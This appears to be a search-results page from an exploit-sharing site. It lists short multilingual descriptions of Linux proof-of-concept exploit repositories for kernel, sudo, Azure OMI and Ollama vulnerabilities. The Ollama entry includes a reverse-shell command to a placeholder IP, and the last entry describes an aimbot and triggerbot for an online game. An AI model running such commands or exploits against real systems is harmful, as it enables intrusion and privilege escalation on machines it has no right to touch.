496236 matches found
CVE-2014-1303
CVE-2014-1303 Linux PoC CVE-2014-1303 基于堆的WebKit缓冲区溢出 概念验证，针对Linux。 该仓库演示了Linux 上WebKit基于堆的缓冲区溢出漏洞CVE-2014-1303。 用于seccamp讲座。 注意： 原始漏洞利用是针对Mac OS X和PS4 PlayStation4编写的。 我已在Ubuntu 14.04上移植并测试了工作，WebKitGTK 2.1.2 用法 首先，你需要运行一个简单的web服务器， root@kitploit: $ python server.py 然后 root@kitploit: $ cd...
badepoll-selinux-disabler
badepoll-selinux-disabler Standalone extraction of the SELinux-disabling stage from the CVE-2026-43074 eventpoll UAF exploit. It races the eventpoll loop-depth check epgetupwardsdepthproc to write a zero into selinuxstate.enforcing, switching the device to Permissive via a single-byte kernel writ...
CVE-2023-0045
LinuxにおけるSpectre-BTIユーザ空間緩和策の回避 これは作業中の文書です。誤りや引用漏れがあると思われる場合は、フィードバックをお送りください。 バージョン1.0 José Oliveira esoj Rodrigo Branco BSDaemon はじめに Spectre-BTI攻撃の成功率をテストしていたところ、カーネルAPIを緩和策として使用した際に奇妙なパターンを検出しました1。私たちのテストでは、Linuxカーネルが攻撃を正しく緩和できず、システムコール後も短い期間プロセスが露出したままになることが明らかになりました。...
BIT-EternalBlue-for-macOS_Linux
BIT-EternalBlue-for-macOS&Linux Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS. This bug is workable on both macOS and Linux. Install Before exploit, you need to download dependencies...
CVE-2021-38647
CVE-2021-38647 CVE-2021-38647 - Azure UNIX/Linux VM上で認証なしのRCE OMIGOD を悪用するためのPOC 詳細 Microsoft Azureでは、UNIX/Linux VMに対してAzure Automation Accounts、Update Management、Log Analytics、Configuration Managementなどのサービスが使用されると、OMIアプリケーションが自動的にインストールされます。また、Configuration...
CVE-2019-5489
CVE 2019-5489 本仓库包含针对Linux的页面缓存侧信道攻击（CVE-2019-5489）的概念验证代码。 为了评估页面缓存侧信道，我在两个进程之间实现了隐蔽信道 。 发送进程通过页面缓存侧信道向接收进程发送机密数据。 页面缓存攻击已在Linux内核5.0及更高版本中得到缓解，因此此PoC仅能在Linux内核5.0之前版本中起作用 。 注意：我在Ubuntu 18.04、Linux 4.15.0-70上测试通过。 构建 运行以下命令。 root@kitploit: git clone https://github.com/mmxsrup/CVE-2019-5489 cd...
CVE-2021-3156
CVE-2021-3156 Sudo Baron Samedit This repository is CVE-2021-3156 exploit targeting Linux x64. For writeup, please visit https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 Credit to Braon Samedit of Qualys for the original advisory. Files...
CVE-2024-37032_CVE-2024-45436
CVE-2024-37032 & CVE-2024-45436 Ollama 远程代码执行 CVE-2024-37032 CVE-2024-45436 需要在Linux下运行，环境需要安装gcc 安装golang，执行以下命令反弹shell root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：利用可能需要几分钟，请耐心等待...
CVE-2025-38001
CVE-2025-38001 RBTree Family Drama Linux HFSC Eltree Use-After-Free - Debian 12 PoC This PoC utilizes a page-level data-only attack based on RBTree transformations to compromise the system. The exploit is portable and works on all kernelCTF instances LTS 6.6.90, COS 109, COS 105 and Debian 12. On...
blueborne-CVE-2017-1000251
Linux Kernel 4.13.1 - BlueTooth 缓冲区溢出 PoC BlueBorne - 概念验证 - 未武装/非武器化 - 仅 DoS 崩溃 这是由 @marcinguy 发布的最初仓库的副本，他随后删除了该仓库并设为私有。...
CVE-2026-31431
CVE-2026-31431 复制失败 - CVE-2026-31431 详情 https://nvd.nist.gov/vuln/detail/CVE-2026-31431 https://copy.fail/exploit https://xint.io/blog/copy-fail-linux-distributions 测试发行版 / 版本 发行版| 版本 ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el1...
DirtyCow-EXP
DirtyCow-EXP コンパイル済みの DirtyCow 脆弱性 CVE-2016-5195 EXP、Linux プラットフォームと Android プラットフォームに分かれています。 脆弱性の詳細な再現手順はこちらを参照してください： https://brucetg.github.io/2018/05/27/DirtyCow%EF%BC%88%E8%84%8F%E7%89%9B%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/...
CVE-2026-46331
🚨 CVE-2026-46331 - Linux Kernel COW Bug Linux Kernel net/sched Partial Copy-on-Write COW Page Cache Corruption -orange?style=for-the-badge A Linux kernel vulnerability caused by incorrect Copy-on-Write COW handling in the traffic control tc packet editing subsystem. 📖 Overview CVE-2026-46331 is a...
cve-2019-11477-poc
cve-2019-11477-poc 简单测试 1. 启动两个虚拟机 一个用于 SSL 服务器，另一个用于 SSL 客户端 2. 服务器 执行服务器应用程序 cd apps ./server.sh 7000 3. 客户端 安装所需软件包 sudo apt-get install libmnl-dev sudo apt-get install libnetfilter-queue-dev 4. 客户端 在客户端的虚拟机的 /etc/hosts 中添加一条记录 www.alice.com 5. 客户端 将内核模块插入客户端的虚拟机 cd module make sudo insmod...
CVE-2022-0847
情報 root@kitploit: Exploit Title: Local Privilege Escalation in Linux kernel CVE-2022-0847 Date: 03/07/2022 Exploit Author: Max Kellermann Tested on: ubuntu 20.04.1 LTS Affect product:Linux kernel 5.8 or later Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102 CVE ID: CVE-2022-0847 攻撃方法 テスト環境：...
CVE-2022-0847
CVE-2022-0847 説明 - CVE-2022-0847 の POC: Linux カーネルのローカル権限昇格脆弱性。 詳細 - セキュリティ研究者の Max Kellermann 氏は責任を持って「Dirty Pipe」脆弱性を開示し、Linux カーネル 5.8 以降（Android デバイスを含む）に影響を与えると述べました。 - Linux カーネル 5.8 以降の脆弱性で、任意の読み取り専用ファイルのデータを上書きできるものです。これにより、権限のないプロセスが root プロセスにコードを注入できるため、権限昇格につながります。 - Linux カーネルの...
CVE-2022-0185
CVE-2022-0185 该仓库包含针对CVE-2022-0185的演示利用代码。这里有两个版本。 非kctf版本（fuse版本）专门针对内核版本5.11.0-44的Ubuntu系统。它不会直接返回root shell，而是将/bin/bash设置为SUID，从而轻松实现权限提升。调整singlestart和modprobepath偏移量，应能使其适用于大多数内核版本5.7或更高的其他Ubuntu版本；对于5.1至5.7之间的版本，需要像kctf版本那样改进喷溅（spray）方法。该利用策略依赖FUSE和SYSVIPC弹性对象来实现任意写入。...
CVE-2026-52924
CVE-2026-52924：SCTP 陈旧 Cookie 处理中的释放后使用漏洞 漏洞摘要 CVE ID： CVE-2026-52924 严重性： 严重（CVSS 9.8） 组件： Linux 内核 - SCTP（流控制传输协议） 类型： 释放后使用（CWE-416、CWE-825） 发布时间： 2026-06-24 状态： 已修复 受影响版本 Linux 内核 outcurr 仍指向已释放的 sctpstreamout 条目 7. 出队访问： 当调度器尝试出队（FCFS、RR、PRIO）时，访问 outcurr-ext 8. 释放后使用： 访问已释放内存 → 通过 KASAN...
umbra
Umbra Un overlay externo para THE FINALS en Linux. Lee la memoria del juego desde un proceso separado, dibuja una ventana transparente de clic a través sobre ella, y proporciona una asistencia de puntería y un triggerbot. Nada se inyecta en el juego y nunca se escribe nada de vuelta; la herramien...
